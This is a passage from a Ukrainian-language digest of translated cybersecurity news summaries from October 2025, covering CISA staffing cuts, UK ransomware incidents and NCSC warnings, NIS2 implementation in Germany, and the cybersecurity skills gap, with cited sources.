• Хмара: Сертифікат Google Cloud з кібербезпеки; AWS для початківців (Great Learning)

• Кібербезпека: Вступ до кібербезпеки; Програмування підказок та хакерство систем генеративної штучної інтелекту (Codecademy)

• Штучний інтелект/машинне навчання: Етичне хакерство та поєднання генеративного штучного інтелекту; Генеративний штучний інтелект на чат-ботах AWS (Codecademy)…

Інші недорогі платформи — Pluralsight, Coursera, LinkedIn Learning, Udacity, Kaggle, DataCamp, freeCodeCamp — пропонують подібні сертифікати. Рекомендовані кроки: виберіть одну навичку, яка відповідає вашим кар'єрним цілям, запишіться на один курс, складіть графік навчання з етапами та діліться

прогресом у професійних спільнотах для підзвітності та налагодження контактів». ***(Rachel Wells. 6 Free Certificates To Learn AI, Cloud, & Cybersecurity This Week // Forbes Media LLC (https://www.forbes.com/sites/rachelwells/2025/10/14/6-free-certificates-to-learn-ai-cloud--cybersecurity-this-week/). 14.10.2025).***

***

«Ерік Свалвелл, представник Демократичної партії у підкомітеті з кібербезпеки Комітету з питань внутрішньої безпеки Палати представників, зажадав надати звіт про нещодавнє скорочення персоналу в Агентстві з кібербезпеки та безпеки інфраструктури (CISA). У листі до виконуючого обов'язки директора Мадху Готтумуккала Свалвелл попросив надати поточні дані про чисельність персоналу за підрозділами, кількість співробітників, звільнених або переведених до інших підрозділів Міністерства внутрішньої безпеки, а також детальну інформацію про співробітників, які приєдналися до квітневої програми переходу персоналу Департаменту внутрішньої безпеки (DHS). Він також закликав негайно припинити звільнення, поновити на роботі звільнених співробітників і провести брифінг щодо оперативного впливу, аргументуючи це тим, що скорочення відбуваються «в період безпрецедентних загроз кібербезпеці»…

Адміністрація Трампа почала скорочувати CISA в лютому, заявивши, що вона «переорієнтовує» агентство на забезпечення безпеки критичної інфраструктури після того, як її співпраця з соціальними мережами з метою виявлення дезінформації про COVID-19 та вибори викликала звинувачення Республіканської партії в цензурі. Звільнення продовжуються — останнім часом під час закриття уряду — що впливає на підрозділи з безпеки інфраструктури та взаємодії із зацікавленими сторонами, а частина співробітників CISA, як повідомляється, була переведена для підтримки заходів з контролю за імміграцією. Свалвелл заявив, що DHS приховує актуальні цифри, змушуючи Конгрес покладатися на застарілі публічні дані.

Представник DHS заперечив, що відомство як і раніше своєчасно надає інформацію про кіберзагрози, і заявив, що під керівництвом президента Трампа та секретаря Крісті Ноем CISA тепер «повністю зосереджена» на виконанні своєї статутної місії, на відміну від того, що вони називали «розмиванням місії» під час адміністрації Байдена». ***(David DiMolfetta. Top cyber lawmaker wants answers on CISA workforce reductions // Government Media Executive Group LLC (https://www.nextgov.com/cybersecurity/2025/10/top-cyber-lawmaker-wants-answers-cisa-workforce-reductions/408802/). 14.10.2025).***

***

«Недавній звіт Державного аудиторського управління штату Міссісіпі показав, що майже третина державних установ (32 станом на 8 вересня) не провели обов'язкові за законом оцінки кібербезпеки, що піддають критично важливі державні операції та дані платників податків непотрібному ризику. Це попередження з'явилося після низки нещодавніх кіберінцидентів, спрямованих проти державних установ, зокрема атаки програм-вимагачів на округ Гіндс у 2023

році, яка коштувала платникам податків щонайменше 600 000 доларів, та витоку даних у шкільному окрузі роком пізніше…

Недавній звіт Державного аудиторського управління штату Міссісіпі показав, що майже третина державних установ (32 станом на 8 вересня) не провели обов'язкові за законом оцінки кібербезпеки, що піддають критично важливі державні операції та дані платників податків непотрібному ризику. Це попередження з'явилося після низки нещодавніх кіберінцидентів, спрямованих проти державних установ, зокрема атаки програм-вимагачів на округ Гіндс у 2023 році, яка коштувала платникам податків щонайменше 600 000 доларів, та витоку даних у шкільному окрузі роком пізніше». ***(Ashley Silver. Mississippi Audit Flags State Agency Cybersecurity Gaps // e.Republic LLC (https://www.govtech.com/security/mississippi-audit-flags-state-agency-cybersecurity-gaps). 14.10.2025).***

***

«Нещодавні плани Міністерства у справах ветеранів щодо скорочення штату, хоча і були частково відкликані, викликали невпевненість серед ветеранів, одночасно підкресливши можливість для сектору кібербезпеки найняти кваліфікованих колишніх військовослужбовців. Ветерани володіють якостями, необхідними для ефективної роботи команд з кібербезпеки, включаючи орієнтованість на виконання завдань, досвід управління ризиками та лідерські здібності в умовах тиску. Багато хто з них вже працював з передовими технологіями і володіє навичками, які можна застосувати в роботі з мережами, програмним та апаратним забезпеченням…

Окрім технічних здібностей, військовий досвід виховує сильну лояльність, чесність і витримку, що робить ветеранів дуже цінними в галузі, схильній до внутрішніх загроз. Вони навчені мислити як досвідчені супротивники, мають досвід роботи в умовах високих ризиків, таких як кіберкриміналістика, робота в команді «червоних» і захист великих мереж, де дотримання суворих протоколів безпеки має першочергове значення. Крім того, багато хто з них вже має або може швидко отримати допуск до секретної інформації, що економить роботодавцям час і витрати на захист і критичну інфраструктуру…

Для полегшення цього переходу існує кілька навчальних програм, таких як SANS VetSuccess Academy, CyberVetsUSA та FedVTE Міністерства внутрішньої безпеки, а також міжнародні аналоги, такі як TechVets (Великобританія) та Coding for Veterans (Канада). Однак подолання розриву залишається складним завданням, оскільки цивільні менеджери з найму часто не беруть до уваги військовий досвід, надто зосереджуючись на сертифікатах, тому компаніям надзвичайно важливо створити програми наставництва та навчити менеджерів інтерпретувати військові ролі в практичних, цивільних термінах. Досвід ветеранів в операціях, розвідці та технологіях особливо підходить для таких ролей, як аналітик з кібербезпеки, фахівець SOC, інженер з кібербезпеки та аналітик з цифрової криміналістики…» ***(Sinisa Markovic. Why ex-military professionals are a good fit for cybersecurity // Help Net Security (https://www.helpnetsecurity.com/2025/10/20/military-veterans-cybersecurity-careers/). 20.10.2025).***

***

«Згідно з доповіддю Riskonnect «Нове покоління ризиків 2025 року», лідери у сфері ризиків передбачають, що тривала обмежувальна торговельна політика США становить найбільший ризик через збільшення кіберзагроз від атак, що фінансуються державою, та скорочення федеральних інвестицій у кібербезпеку (62%), а також через підвищення виробничих витрат (48%) і серйозні порушення ланцюгів постачання (47%). Політичний ризик значно зріс, увійшовши до трійки найбільших загроз для бізнесу: 97% керівників відзначають його вплив, що змушує 37% компаній уповільнити або призупинити наймання персоналу, а 27% — диверсифікувати ланцюги поставок…

У звіті підкреслюється, що організації повинні розвивати стійкість, щоб йти в ногу з конвергенцією кібернетичних, геополітичних та технологічних ризиків. Ключові висновки показують, що, хоча компанії досягають успіхів у деяких сферах, глибокі вразливості залишаються: 85% компаній мають плани стійкості на випадок серйозних збоїв в роботі ІТ у критично важливих постачальників послуг, але лише 8% можуть здійснювати моніторинг не тільки партнерів рівня 1, а й своїх глибоких цифрових ланцюгів постачання. Планування геополітичних ризиків швидко набирає обертів (66% мають плани на 2025 рік, порівняно з 19% у 2024 році), а зростання стратегічної важливості управління ризиками підтверджується збільшенням кількості посад головних спеціалістів з управління ризиками (60% організацій зараз мають таку посаду). Крім того, 70% керівників з управління ризиками зараз використовують або планують використовувати штучний інтелект для управління ризиками (у порівнянні з 62% у 2024 році), застосовуючи його для оцінки ризиків (34%) та моделювання найгірших сценаріїв (61% проводили моделювання, у порівнянні з 44% у 2024 році).

Однак контроль за генеративною ШІ значно відстає: 42% компаній не мають політики, що регулює використання ШІ співробітниками, а 72% не мають політики щодо партнерів і постачальників. Три чверті (75%) не мають спеціального плану для усунення ризиків, пов'язаних з генеративним ШІ, таких як депфейки та шахрайство з використанням ШІ. Навіть незважаючи на те, що 59% керівників розглядають можливість впровадження агентного ШІ, 55% визнають, що вони не проводили офіційної оцінки ризиків, що свідчить про те, що організації не готові йти в ногу з швидким розвитком ШІ та вимогами щодо управління…» ***(62% of Risk Leaders Say Trade Wars Could Trigger Cyberattacks, New Riskonnect Research Finds // Business Wire, Inc. (https://www.businesswire.com/news/home/20251020145825/en/62-of-Risk-Leaders-Say-Trade-Wars-Could-Trigger-Cyberattacks-New-Riskonnect-Research-Finds). 20.10.2025).***

***

«У міру стрімкого розвитку ринку мережевої та хмарної безпеки у Великобританії, підприємства, особливо вразливі малі та середні підприємства з обмеженими ресурсами та помилковим відчуттям безпеки, стикаються з величезною площею атаки та зростаючим регуляторним тиском…

Ера безпеки як додаткової функції IT закінчилася; постачальники керованих послуг (MSP) повинні перетворитися з простих консультантів на незамінних партнерів у сфері безпеки, забезпечуючи вимірювану кіберстійкість. Ця трансформація вимагає радикальних культурних і технічних змін у бік підходу, що ставить безпеку на перше місце, надаючи пріоритет сучасній архітектурі, такій як Zero Trust, Managed Detection and Response (MDR) та автоматизація. Через нестерпний обсяг попереджень про порушення безпеки проактивна оборона має вирішальне значення, що вимагає інвестицій в автоматизацію та інтелектуальні рішення MDR (такі як ті, що пропонує Sophos) для нейтралізації загроз до їх ескалації. Крім того, MSP повинні використовувати ШІ як мультиплікатор сили, щоб розширити можливості аналітиків і демократизувати економічно ефективну безпеку корпоративного рівня для малозабезпечених малих і середніх підприємств. Канал також повинен усвідомлювати, що попит на Безпечний доступ до сервісу Edge (SASE), відповідність вимогам (таким як NIS2) і хмарну безпеку є нагальним, а управління ідентифікацією та доступом є новим периметром у гібридному робочому середовищі…

Зрештою, канали збуту повинні взяти на себе зобов'язання щодо безперервного навчання, застосовувати підхід «безпека за замовчуванням» і припинити просто продавати продукти, щоб почати забезпечувати комплексну стійкість, яка гарантує безпеку, відповідність вимогам і безперебійну роботу клієнтів…» ***(Brian Sibley. Building a security-first framework against evolving cyberthreats // Future US, Inc. (https://www.techradar.com/pro/building-a-security-first-framework-against-evolving-cyberthreats). 03.10.2025).***

***

«…Кіберзлочинність завдає британській освіті більшого удару, ніж будь-якому іншому сектору. Дані урядового опитування показують, що 60% середніх шкіл, 80% коледжів подальшої освіти та 90% університетів зазнали кібератаки або порушення безпеки протягом останнього року, порівняно з приблизно 40% початкових шкіл та приватних підприємств. Більшість інцидентів починаються з фішингових електронних листів, але найшкідливішою тактикою залишається використання програм-вимагачів: серед останніх жертв – шкільна мережа Ради Вест-Лотіана та університети в Манчестері, Ньюкаслі та Вулвергемптоні… Мережа дитячих садків Kido ілюструє, як часто відбуваються атаки: брокер початкового доступу тихо продав доступ до систем Kido, після чого група Radiant ransomware викрала та опублікувала дані дітей в Інтернеті. За словами Тобі Льюїса з Darktrace, освітні сайти не є окремою ціллю, а скоріше потрапляють під вплив широких, опортуністичних кампаній; однак державні школи страждають від обмеженого бюджету та обмеженої експертизи, а

університети наражають на небезпеку велику кількість студентів, які не мають досвіду роботи з цифровими технологіями, та цінні дослідницькі дані, що робить їх особливо привабливими — і вразливими — цілями». ***(Dan Milmo. Six out of 10 UK secondary schools hit by cyber-attack or breach in past year // Yahoo (https://uk.finance.yahoo.com/news/six-10-uk-secondary-schools-140040851.htm). 05.10.2025).***

***

«Віктор Негреску, віце-президент Європейського парламенту, на Бухарестській конференції з кібербезпеки (BCC2025) заявив, що кібербезпека повинна розглядатися як стратегічний, інтегрований європейський пріоритет, а не лише як технічна проблема, враховуючи, що майже 40% кібератак в Європі спрямовані проти державних установ, а 60% – проти критичної інфраструктури, що впливає на стійкість суспільства та демократію. Негреску наголосив на нагальній потребі у створенні нової європейської структури для реконфігурації архітектури кібербезпеки, що забезпечить спільний розвиток цифровізації, технологічної трансформації та захисту інфраструктури…

Щоб випереджати зловмисників, які вже використовують штучний інтелект (ШІ), ЄС повинен постійно впроваджувати інновації та інвестувати значні кошти в професійну підготовку не тільки експертів, а й повсякденних користувачів цифрових інструментів. Негреску визнав ШІ як виклик і можливість, що трансформує управління загрозами, але попередив, що поточні європейські бюджети є недостатніми для масштабів загрози. Хоча Європейський центр компетенції виділив один мільярд євро, для життєво важливого захисту цифрових даних та інфраструктури потрібні додаткові ресурси. Депутат Європарламенту зазначив, що Румунія, з її досвідом у сфері кібербезпеки, повинна відігравати ключову роль у лобіюванні збільшення фінансування в рамках майбутньої багаторічної фінансової програми (2027-2034). Нарешті, Негреску розкритикував національні цифрові проекти Румунії, які часто фінансуються з європейських фондів, за відсутність чітких, опублікованих компонентів кібербезпеки та координації, наводячи приклади, такі як оцифрування податкових систем міськими радами без належної координації інфраструктури…» ***(European Parliament Vice President: Cybersecurity is no longer a subject for experts only // SC Meta Ring SRL (https://www.bursa.ro/european-parliament-vice-president-cybersecurity-is-no-longer-a-subject-for-experts-only-67491753). 07.10.2025).***

***

«Нідерландські малі та середні підприємства стикаються з погіршенням ситуації в галузі кібербезпеки. У другому кварталі 2025 року 24% з 4 083 нідерландських компаній, опитаних для Міжнародного бізнес-звіту, зазнали кібератаки зі «значним впливом»; до третього кварталу цей показник зріс до понад 30%, а ще 39% зазнали атак нижчого рівня. Іншими словами, майже сім з десяти підприємств вже зазнали атак. Проте п'ята частина респондентів досі «не знає», чи зазнавали вони атак, що свідчить про слабкий моніторинг, особливо серед малих підприємств, які не мають спеціалізованого персоналу з безпеки…

Сприйняття змінюється — 31% тепер очікують зростання загрози, порівняно з 20% у попередньому кварталі, — але конкретні дії не встигають за цим. Частка компаній із структурованою, регулярно перевіреною політикою кібербезпеки знизилася з 64% у 2 кварталі до 54% у 3 кварталі; 28% покладаються лише на базові заходи захисту, 25% реагують переважно ситуативно, а 13% майже не приділяють уваги стійкості. Випадків, що свідчать про це, безліч: понад 60% облікових записів користувачів малих і середніх підприємств все ще працюють без багатофакторної автентифікації, а гостьові облікові записи часто не контролюються. Гібридна робота, інструменти атак на основі штучного інтелекту та геополітична напруга ще більше збільшують площу атаки, проте багато компаній піддаються «втомі від дотримання вимог» і втручаються лише після інциденту, коли витрати та збитки є найвищими.

Регуляторний тиск посилюється. Поінформованість про майбутню директиву NIS2 покращилася — 35% компаній зараз активно готуються, порівняно з 24% кварталом раніше, — але 19% залишаються в основному необізнаними, і зберігається плутанина щодо того, хто повинен дотримуватися вимог. Додаткові правила, від DORA для фінансового сектору до Закону ЄС про штучний інтелект та Закону про дані, вимагатимуть ще ширших заходів цифрової стійкості; невдача в адаптації загрожує штрафами та репутаційними втратами…

Отже, дані малюють сувору картину: кібербезпека більше не є суто технічною проблемою, а стратегічною необхідністю. Нідерландські малі та середні підприємства усвідомлюють небезпеку, проте багато з них все ще не мають структурованої, проактивної політики, необхідної для протистояння їй». ***(Cyber threat increases, preparedness falls short: a wake-up call for SMEs // Grant Thornton Netherlands (https://www.grantthornton.nl/en/insights-en/research/cyber-threat-increases-preparedness-falls-short-a-wake-up-call-for-smes/). 06.10.2025).***

***

«Німеччина поспішає імплементувати Директиву NIS-2 (EU 2022/2555) та Директиву про стійкість критичних об'єктів (CER) (EU 2022/2557) після того, як пропустила термін у жовтні 2024 року і зіткнулася з процедурою порушення ЄС. Два законопроекти — Закон про впровадження NIS-2 та «Парасольковий» закон KRITIS — разом переглянуть зобов'язання щодо критичної інфраструктури (CI) та значно розширять коло організацій, які повинні їх дотримуватися…

Основні зміни

• Ширша мережа: крім традиційних секторів енергетики, транспорту та охорони здоров'я, нові правила охоплюють цифрові послуги (хмарні технології, центри обробки даних), виробництво, поштові/кур'єрські оператори та інші середні підприємства. Якщо дочірня компанія використовує IT-ресурси материнської компанії, застосовуються порогові значення розміру на рівні групи, тому великі корпоративні групи не можуть захищати менші підрозділи. Діяльність, яка вважається «незначною», виключається, але в законопроектах це поняття не визначено, що створює невизначеність — наприклад, завод, який має власний центр обробки даних, все одно може підпадати під дію закону.

• Підхід подвійної загрози: Закон KRITIS поєднує кібербезпеку NIS-2 з цілями фізичної безпеки CER для створення режиму «всіх небезпек», що зобов'язує компанії вирішувати всі проблеми, від хакерських атак до стихійних лих.

• Обов'язкове управління ризиками: Суб'єкти, на яких поширюється дія закону, повинні впровадити задокументовані процеси управління ризиками, призначити групи реагування на надзвичайні ситуації, посилити контроль доступу до об'єктів та забезпечити безперебійність роботи.

• 24-годинне повідомлення та реєстрація інцидентів: Суб'єкти господарювання повинні зареєструватися у Федеральному відомстві з інформаційної безпеки (BSI) та цивільного захисту (BBK) і повідомляти про серйозні інциденти протягом одного дня через центральний портал.

• Більш суворе виконання: Регулюючі органи отримують більш широкі повноваження з нагляду, штрафи збільшуються, а керівники можуть нести особисту відповідальність за недотримання вимог…

Законодавці планують завершити роботу над обома законопроектами до кінця 2025 року, після чого вони швидко набудуть чинності. Оскільки німецька законодавча база перевищує мінімальні вимоги ЄС, а також через те, що «вторинні» види діяльності можуть несподівано потрапити під дію закону, компанії, які працюють на німецькому ринку або продають свою продукцію на ньому, повинні негайно:

Проаналізувати свою діяльність та ланцюги постачання в Німеччині з урахуванням розширених категорій критичної інфраструктури.

Визначити, чи використовують будь-які підприємства групи спільні IT-системи, що підвищують порогові значення для всієї групи.

Оцінити розбіжності між існуючими заходами безпеки, захисту об'єктів та реагування на інциденти та новими стандартами.

Підготувати реєстраційні дані та робочі процеси для цілодобового звітування.

Проінформувати вище керівництво про потенційну особисту відповідальність…

Для уникнення санкцій та забезпечення безперебійної роботи після набрання чинності Законом про впровадження NIS-2 та Загальним законом про KRITIS необхідно вжити заходів на ранньому етапі». ***(Undine von Diemar, Jörg Hladjk, Holger Neumann and Bijan Tavakoli. Strengthening Critical Infrastructure: Germany's New KRITIS Umbrella Law and NIS-2 Implementation // Jones Day (https://www.jonesday.com/en/insights/2025/10/germany-implements-new-kritis-umbrella-law-and-nis2-directive). 10.2025).***

***

«Зростаюча залежність від цифрової інфраструктури призвела до критичного і зростаючого глобального дефіциту фахівців з кібербезпеки. Тільки в Європейському Союзі дефіцит фахівців у 2024 році складе 299 000 осіб, і цей розрив, як очікується, збільшиться через нове законодавство ЄС, таке як Директива NIS2 і Закон про кіберстійкість. З огляду на цю нагальну проблему, залучення молоді віком від 14 до 25 років до кібербезпеки стало надзвичайно важливим для забезпечення майбутнього цифрового ландшафту…

Залучення молоді є надзвичайно важливим з кількох причин: це дозволяє вирішити проблему світового дефіциту у 3,4 мільйона фахівців з кібербезпеки; це забезпечує цінну різноманітність, свіжі перспективи та цифрову грамотність, необхідні для протидії новим загрозам; це сприяє зміцненню стійкості суспільства шляхом підвищення пильності у домогосподарствах та громадах; це дає молоді можливість стати відповідальними цифровими громадянами…

У відповідь на це, численні міжнародні ініціативи працюють над тим, щоб надихати та наставляти цю демографічну групу. Прикладами можуть слугувати Європейський виклик з кібербезпеки (ECSC), організований ENISA, який збирає найкращих національних талантів віком 14–25 років для щорічних змагань та налагодження контактів; Global CyberLympics, всесвітній конкурс, що просуває кіберзахист та етичне хакерство; та CyberPatriot, найбільший в Америці конкурс з кіберзахисту для молоді, створений Асоціацією ВПС США, який ставить перед учнями середніх та старших класів завдання виправити імітовані вразливості мережі. Інші помітні ініціативи включають змагання Capture the Flag (CTF), такі як DEF CON і Google CTF, а також освітні програми від таких організацій, як польська NASK і Європейська організація з кібербезпеки (ECSO)…

Молоді люди дуже мотивовані викликами складних головоломок, прагненням до прибуткової та впливової кар'єри, співпрацею в рамках спільноти, яку сприяють ці заходи, та бажанням зробити свій внесок у безпеку суспільства. Інвестуючи в освіту, конкурси та наставництво, а також завдяки співпраці між урядами, університетами та бізнесом, світове співтовариство може надихнути нове покоління, готове захищати цифровий світ, що стане «найрозумнішою інвестицією» у майбутню стійкість…» ***(Alicja Lewandowska. How engaging Gen Z can shape the future of cybersecurity // Atos (https://atos.net/en/blog/how-engaging-gen-z-can-shape-the-future-of-cybersecurity). 09.10.2025).***

***

«Незважаючи на те, що 93% британських компаній стикалися з критичними для бізнесу кіберінцидентами, багато з них залишаються в небезпеці через відсутність перевірених планів відновлення. Ця вразливість спонукала уряд Великобританії опублікувати політичні заходи щодо законопроекту про кібербезпеку та стійкість, який має на меті посилити національну кіберзахист за допомогою положень, що вимагають швидшого повідомлення про інциденти, посилення безпеки ланцюгів постачання та проактивного управління ризиками…

Експерти попереджають, що британські компанії стикаються з більшою кількістю кібератак, ніж в середньому по світу, і вказують на значні прогалини в безпеці, які часто спричинені нездатністю усунути старі вразливості та ефективно інтегрувати рішення з безпеки. Марк Епплтон з ALSO Group наголошує, що для малих і середніх підприємств (МСП), особливо тих, що працюють у сфері цифрових послуг та критичної інфраструктури, кібербезпека має розглядатися як фундаментальний елемент, а не як додатковий компонент. Багато МСП все ще страждають від таких базових недоліків, як відкриті паролі, системи без оновлень та пропущені вразливості сторонніх розробників. Ці ризики різко зросли з

переходом до масової дистанційної роботи та швидкої цифрової трансформації, про що свідчать інциденти у великих компаніях, таких як Co-op та Marks & Spencer…

Епплтон виступає за відхід від реактивного підходу до реагування на кризові ситуації, закликаючи керівників підприємств інтегрувати безпеку в повсякденні робочі процеси. Він стверджує, що фундаментальні рішення, такі як впровадження культури «безпеки за замовчуванням» з використанням багатофакторної автентифікації та принципів нульової довіри, забезпечують кращий захист, ніж фрагментовані системи безпеки, які часто створюють складність і приховані «сліпі зони». Замість того, щоб об'єднувати розрізнені інструменти, підприємствам слід впровадити захист на рівні платформи, який об'єднує інструменти безпеки в одну екосистему, а IT-партнери пропонують пакети послуг із безпекою за замовчуванням, що поєднують захист кінцевих точок, управління доступом до ідентичності та інструменти забезпечення відповідності. Зрештою, законопроект про кібербезпеку та стійкість слугує «сигналом тривоги», підкреслюючи, що стійкість необхідно розробляти з самого початку, щоб зменшити ризики, побудувати довіру та забезпечити відповідність…» ***(Neil Trim. Cybersecurity isn't add-on, it must be built in, says ALSO Group // Kingswood Media (https://technologyreseller.uk/cybersecurity-isnt-add-on-it-must-be-built-in-says-also-cloud-uk/). 09.10.2025).***

***

«Великобританія стикається із значним дефіцитом кваліфікованих кадрів у сфері кібербезпеки. Згідно з результатами дослідження ринку праці, проведеного урядом у 2025 році, майже половина (49%) підприємств не мають базових технічних навичок у сфері кібербезпеки. Хоча вирішенням цієї проблеми загальновизнано вважається підвищення різноманітності, британські компанії не використовують цей потенціал, про що свідчить той факт, що жінки становлять лише 17% працівників у сфері кібербезпеки і лише 12% керівних посад, незважаючи на те, що вони становлять 48% загальної робочої сили Великобританії…

Експерти галузі пояснюють цю диспропорцію кількома факторами: культурою робочого середовища, яка не зазнала кардинальних змін, стійкими гендерними упередженнями (наприклад, ігноруванням жінок на виставках) та непропорційним тягарем обов'язків по догляду, який несуть жінки. Крім того, галузь часто позиціонується як суто технічна, що відштовхує потенційних учасників, хоча зараз у цій сфері все більше потрібні нетехнічні навички, такі як вирішення проблем і комунікація…

Незважаючи на низьку представленість жінок на керівних посадах, спостерігається позитивна тенденція у наймі на початкові посади: жінки віком до 30 років становлять 26% робочої сили, що свідчить про покращення зусиль з залучення персоналу. Однак експерти, такі як Ребекка Харпер, стверджують, що основною проблемою є не «проблема кадрового резерву», а «проблема робочого місця», оскільки жінки та інші недостатньо представлені групи масово залишають роботу через те, що організаційна культура не сприяє їхньому просуванню. Це посилюється стійким уявленням про кіберфахівця як молодого білого чоловіка в

худі, маскулінною мовою галузі та несвідомими упередженнями при наймі та просуванні по службі.

Щоб ефективно подолати дефіцит кваліфікованих кадрів, компанії повинні сприймати різноманітність не лише з гендерної точки зору, а й зосередитися на «живих перспективах», що базуються на нейрорізноманітності, етнічній різноманітності, фізичних здібностях та соціально-економічному походженні. Незважаючи на існування таких програм, як Women in Cybersecurity (WiCys) та LT Harper's InClusive InCyber networking breakfasts, багато компаній розглядають різноманітність лише як формальність, яку необхідно дотримуватися. Щоб досягти успіху, інклюзивність необхідно розглядати як важливий елемент управління бізнесом, пов'язаний з відповідальністю керівництва та вимірюваними структурними змінами. Компанії також повинні виходити за межі традиційних технічних спеціальностей, проводячи перехресне навчання осіб з таких галузей, як бухгалтерський облік та література, які володіють такими важливими рисами, як допитливість та увага до деталей, щоб задовольнити нагальну потребу в кваліфікованих фахівцях…» ***(Kate O'Flaherty. The Cybersecurity Skills Gap and the Role of Diversity // CyberRisk Alliance (https://insight.scmagazineuk.com/the-cybersecurity-skills-gap-and-the-role-of-diversity). 10.10.2025).***

***

«Запущена в 2017 році як «NCSC Cyber Accelerator», британська програма «NCSC for Startups» завершилася після восьми років підтримки компаній, що займаються кібербезпекою на початковому етапі розвитку. Ця програма, розроблена з метою поєднання інтелекту та досвіду Національного центру кібербезпеки з гнучкістю стартапів, відкрила традиційно закриту галузь для університетських спін-офів, початківців-засновників та інших нетрадиційних учасників…

Його державно-приватна модель виявилася дуже ефективною: компанії-учасниці отримали прямий доступ до фахівців NCSC, ринкову довіру та консультації щодо стратегії продукту, а уряд отримав швидкі, креативні рішення нагальних проблем безпеки. Результатом є потужна мережа випускників, члени якої досі співпрацюють і впроваджують інновації в кібернетичну екосистему Великої Британії…

Програма виявилася трансформаційною для компаній-учасниць, таких як CounterCraft, яка скористалася співпрацею з експертами NCSC для покращення можливостей продукту з виявлення зловмисників та збору корисної інформації, а також для вдосконалення стратегічного позиціонування для взаємодії з урядом. Врешті-решт це сприяло співпраці з Міністерством оборони США (DoD), де технологія обману CounterCraft була успішно протестована та переведена у серійне виробництво для захисту інфраструктури DoD. Подібним чином, компанія Intruder, яка приєдналася до NCSC Cyber Accelerator в 2017 році, отримала важливе початкове фінансування та наставництво від NCSC, що дозволило їй перетворитися з консалтингової компанії на компанію, орієнтовану на продукти, спрямовані на захист малих і середніх підприємств. Із 2018 року Intruder продемонструвала значне зростання, зараз у ній працює 60 фахівців, вона обслуговує понад 3000

клієнтів по всьому світу і генерує майже 10 мільйонів фунтів стерлінгів річного доходу, закріпивши свою історію успіху в спільноті випускників NCSC». ***(NCSC for Startups: Celebrating a cyber security milestone // National Cyber Security Centre (NCSC) (https://www.ncsc.gov.uk/collection/ncsc-annual-review-2025/chapter-02-resilience-at-scale/ncsc-startups). 14.10.2025).***

***

«Національний центр кібербезпеки Великобританії (NCSC) попереджає, що організації повинні припустити, що їхні ІТ-системи будуть виведені з ладу, і бути готовими працювати за процедурами «ручка і папір». У листах до керівників агентство закликає компанії зберігати паперові копії планів дій у надзвичайних ситуаціях, в яких детально описано, як співробітники будуть спілкуватися, підтримувати роботу критично важливих служб і відновлювати системи, якщо мережі будуть виведені з ладу внаслідок атак програм-вимагачів або інших атак…

Ця рекомендація з'явилася після різкого зростання кількості інцидентів, що мають серйозні наслідки. За перші дев'ять місяців 2025 року NCSC опрацювало 429 кіберінцидентів — приблизно стільки ж, скільки і минулого року, — але 204 (майже половина) з них були класифіковані як «національно значущі» (категорії 1-3), що на 89 більше, ніж у попередньому періоді; 18 були оцінені як «дуже значущі», що на 50% більше, ніж у минулому році. Недавні атаки на Marks & Spencer, Co-op, Harrods, Jaguar Land Rover та збій в роботі повітряного руху в аеропортах Лондона ілюструють, як швидко перебої в роботі перетворюються на порожні полиці, зупинку виробництва та хаос у подорожах.

Більшість вторгнень є фінансово мотивованими кампаніями з вимагання викупу або даних, які проводять банди з Росії та сусідніх держав, але британська поліція також заарештувала цього року сімох підлітків за серйозні хакерські атаки. NCSC заявляє, що прості засоби захисту периметра вже не є достатніми: ради директорів повинні впровадити «інженерію стійкості», розробляючи системи, які можуть передбачати, поглинати, відновлювати та адаптуватися під час атак. Рекомендовані базові заходи включають багатофакторну автентифікацію, надійні унікальні паролі, що управляються авторитетними інструментами, оперативне встановлення виправлень, інформування про фішинг та використання безкоштовних послуг NCSC, таких як Cyber Essentials та програма кіберстрахування для малого бізнесу…» ***(Joe Tidy. Cyber attack contingency plans should be put on paper, firms told // BBC (https://www.bbc.com/news/articles/ced61xv967lo). 14.10.2025).***

***

«У щорічному звіті Національного центру кібербезпеки Великобританії (NCSC) за 2025 рік повідомляється про різке зростання кількості зловмисних цифрових дій, що підтверджує 50-відсоткове збільшення «надзвичайно значущих» кібератак за останній рік — найвищий рівень, зафіксований за майже десятиліття. Офіційні особи пов'язують цей сплеск із зростаючою

залежністю Великобританії від цифрових систем та різким збільшенням кількості атак з використанням програм-вимагачів, мотивованих фінансовими інтересами…

Основними загрозами, що спричинили цей стрибок, є державні суб'єкти з Росії, Китаю, Ірану та Північної Кореї, причому Росія також відома тим, що надихає неформальні групи «хактивістів», які націлені на країни НАТО. NCSC опрацювало 429 кіберінцидентів у період з серпня 2024 року по вересень 2025 року, 18 з яких були класифіковані як «надзвичайно значущі» через їх серйозний вплив на основні послуги, економіку або уряд, про що свідчать перебої в роботі таких великих компаній, як Jaguar Land Rover і Marks & Spencer…

У відповідь уряд Великобританії виступив із «закликом до зброї», закликаючи організації розглядати кіберстійкість як відповідальність на рівні правління та посилювати свої захисні заходи. Генеральний директор NCSC Річард Хорн заявив, що кібербезпека зараз є питанням «виживання бізнесу та національної стійкості». Крім того, NCSC попереджає, що атаки, посилені штучним інтелектом, «майже напевно становитимуть виклики для кіберстійкості» до 2027 року і далі, що вимагатиме негайних і рішучих дій у всіх секторах…» ***(Madeline Clarke. 'A Call to Arms' as UK Faces 50% Surge in Major Cyberattacks // TechnologyAdvice (https://www.techrepublic.com/article/news-uk-cyberattacks-rise-2025/). 15.10.2025).***

***

«Уряд Великобританії виступив із суворим попередженням для великих підприємств, включаючи всі компанії з індексів FTSE100 і FTSE250, про стрімке посилення та все більш витончений характер «ворожих кібердіяльностей», які становлять пряму загрозу економічній та національній безпеці країни. У спільному листі, підписаному Ліз Кендалл, міністром науки, інновацій та технологій, міністри закликали підприємства вжити низку заходів безпеки, зокрема створити паперові копії інструкцій з реагування на кризові ситуації, в яких детально описано, як організація буде функціонувати без своїх IT-систем…

Це попередження з'явилося після року руйнівних кібератак, таких як злом мережі освіти Ради Вест-Лотіана за допомогою програм-вимагачів та атака, яка, за оцінками, коштувала Marks and Spencer понад 300 мільйонів фунтів стерлінгів. Програми-вимагачі, які передбачають викрадення та утримання даних з метою отримання викупу, є основною загрозою, що спонукало уряд Великої Британії рухатися в напрямку заборони виплат викупу організаціями державного сектору, щоб зменшити їх привабливість як цілей...

